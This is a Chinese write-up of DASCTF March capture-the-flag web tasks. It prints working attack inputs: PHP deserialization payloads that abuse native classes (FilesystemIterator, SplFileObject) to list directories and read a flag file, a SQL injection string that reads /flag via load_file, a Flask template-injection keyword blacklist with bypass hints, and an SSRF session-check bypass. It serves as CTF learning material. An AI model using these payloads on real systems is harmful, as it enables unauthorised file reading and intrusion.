安恒月赛DASCTF三月娱乐赛
前言
比赛的时候只做了一个序列化,后来看了看各位大师傅的wp,学到一点东西,故做总结。
ez_serialize
题目给出源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
}
很明显没有什么可以利用的类,于是想到利用PHP原生类。
给出一些可以利用的类。
类 | 描述 |
---|---|
DirectoryIterator | 遍历目录 |
FilesystemIterator | 遍历目录 |
GlobIterator | 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag* |
SplFileObject | 读取文件,按行读取,多行需要遍历 |
finfo/finfo_open() | 需要两个参数 |
可以用脚本测试可以利用魔术方法的类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
echo $class . '::' . $method."<br>";
}
}
}
Exception::__wakeup<br>Exception::__toString<br>ErrorException::__wakeup<br>ErrorException::__toString<br>Error::__wakeup<br>Error::__toString<br>CompileError::__wakeup<br>CompileError::__toString<br>ParseError::__wakeup<br>ParseError::__toString<br>TypeError::__wakeup<br>TypeError::__toString<br>ArgumentCountError::__wakeup<br>ArgumentCountError::__toString<br>ArithmeticError::__wakeup<br>ArithmeticError::__toString<br>DivisionByZeroError::__wakeup<br>DivisionByZeroError::__toString<br>Generator::__wakeup<br>ClosedGeneratorException::__wakeup<br>ClosedGeneratorException::__toString<br>DateTime::__wakeup<br>DateTime::__set_state<br>DateTimeImmutable::__wakeup<br>DateTimeImmutable::__set_state<br>DateTimeZone::__wakeup<br>DateTimeZone::__set_state<br>DateInterval::__wakeup<br>DateInterval::__set_state<br>DatePeriod::__wakeup<br>DatePeriod::__set_state<br>JsonException::__wakeup<br>JsonException::__toString<br>LogicException::__wakeup<br>LogicException::__toString<br>BadFunctionCallException::__wakeup<br>BadFunctionCallException::__toString<br>BadMethodCallException::__wakeup<br>BadMethodCallException::__toString<br>DomainException::__wakeup<br>DomainException::__toString<br>InvalidArgumentException::__wakeup<br>InvalidArgumentException::__toString<br>LengthException::__wakeup<br>LengthException::__toString<br>OutOfRangeException::__wakeup<br>OutOfRangeException::__toString<br>RuntimeException::__wakeup<br>RuntimeException::__toString<br>OutOfBoundsException::__wakeup<br>OutOfBoundsException::__toString<br>OverflowException::__wakeup<br>OverflowException::__toString<br>RangeException::__wakeup<br>RangeException::__toString<br>UnderflowException::__wakeup<br>UnderflowException::__toString<br>UnexpectedValueException::__wakeup<br>UnexpectedValueException::__toString<br>CachingIterator::__toString<br>RecursiveCachingIterator::__toString<br>SplFileInfo::__toString<br>DirectoryIterator::__toString<br>FilesystemIterator::__toString<br>RecursiveDirectoryIterator::__toString<br>GlobIterator::__toString<br>SplFileObject::__toString<br>SplTempFileObject::__toString<br>SplFixedArray::__wakeup<br>ReflectionException::__wakeup<br>ReflectionException::__toString<br>ReflectionFunctionAbstract::__toString<br>ReflectionFunction::__toString<br>ReflectionParameter::__toString<br>ReflectionType::__toString<br>ReflectionNamedType::__toString<br>ReflectionMethod::__toString<br>ReflectionClass::__toString<br>ReflectionObject::__toString<br>ReflectionProperty::__toString<br>ReflectionClassConstant::__toString<br>ReflectionExtension::__toString<br>ReflectionZendExtension::__toString<br>AssertionError::__wakeup<br>AssertionError::__toString<br>DOMException::__wakeup<br>DOMException::__toString<br>PDOException::__wakeup<br>PDOException::__toString<br>PDO::__wakeup<br>PDOStatement::__wakeup<br>SimpleXMLElement::__toString<br>SimpleXMLIterator::__toString<br>CURLFile::__wakeup<br>mysqli_sql_exception::__wakeup<br>mysqli_sql_exception::__toString<br>PharException::__wakeup<br>PharException::__toString<br>Phar::__destruct<br>Phar::__toString<br>PharData::__destruct<br>PharData::__toString<br>PharFileInfo::__destruct<br>PharFileInfo::__toString<br>
类可控,且能触发类中的__toString
方法。于是可以找有__toString
方法的类。
最终。
<?php
class A{
public $class='FilesystemIterator';
public $para="/var/www/html";
public $check;
}
$o = new A();
echo serialize($o);
用这个可以读到第一个目录。
最终可以读进去发现flag.php
然后又这个读flag
<?php
class A
{
public $class="SplFileObject";
public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
}
$a = new A();
echo serialize($a);
https://www.php.net/manual/zh/splfileobject.tostring
这个其实和fgets()
一样。
baby_flask
源码有过滤的字符
blacklist</br>
'.','[','\'','"',''\\','+',':','_',</br>
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>
</br>
数字被过滤可以用特殊字符来绕。
参考资料https://xz.aliyun.com/t/9271
环境没了自己搭一个玩玩吧。
from flask import Flask
from jinja2 import Template
from flask import request
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
blacklist = ['.','[','\'','"','+',':','_','chr','pop','class','base','mro','init','globals','get','eval','exec','os','popen','open','read','select','url_for','get_flashed_messages','config','request','count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9']
for i in blacklist:
if i in name:
return Template('你真是个小可爱').render()
t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!-- ?name=master -->")
return t.render()
if __name__ == "__main__":
app.run()
unicode特殊字符可以绕,于是我们有了所有数字。
然后就可以拼接字符了。
然后就和下面这道题一样了。
https://www.anquanke.com/post/id/212808#h3-9
可以参考别的大佬的博客,也有很多绕过方式。
https://shimo.im/docs/lf9OcEmdH70MC17f/read
http://www.plasf.cn/articles/dasctf202103.html
BestDB
太卡了,不想做了。不过贴一个payload吧
lisi"/**/union/**/select/**/(select/**/load_file(0x2f666c6167)),2,3#
ez_login
源码
<?php
if(!isset($_SESSION)){
highlight_file(__FILE__);
die("no session");
}
include("./php/check_ip.php");
error_reporting(0);
$url = $_GET['url'];
if(check_inner_ip($url)){
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
curl_close($ch);
}
}else{
echo "Your IP is internal yoyoyo";
}
?>
因为没环境了,这里提一下怎么绕过
if(!isset($_SESSION)){
highlight_file(__FILE__);
die("no session");
}
这里直接传一个PHP_SESSION_UPLOAD_PROGRESS
就可以了。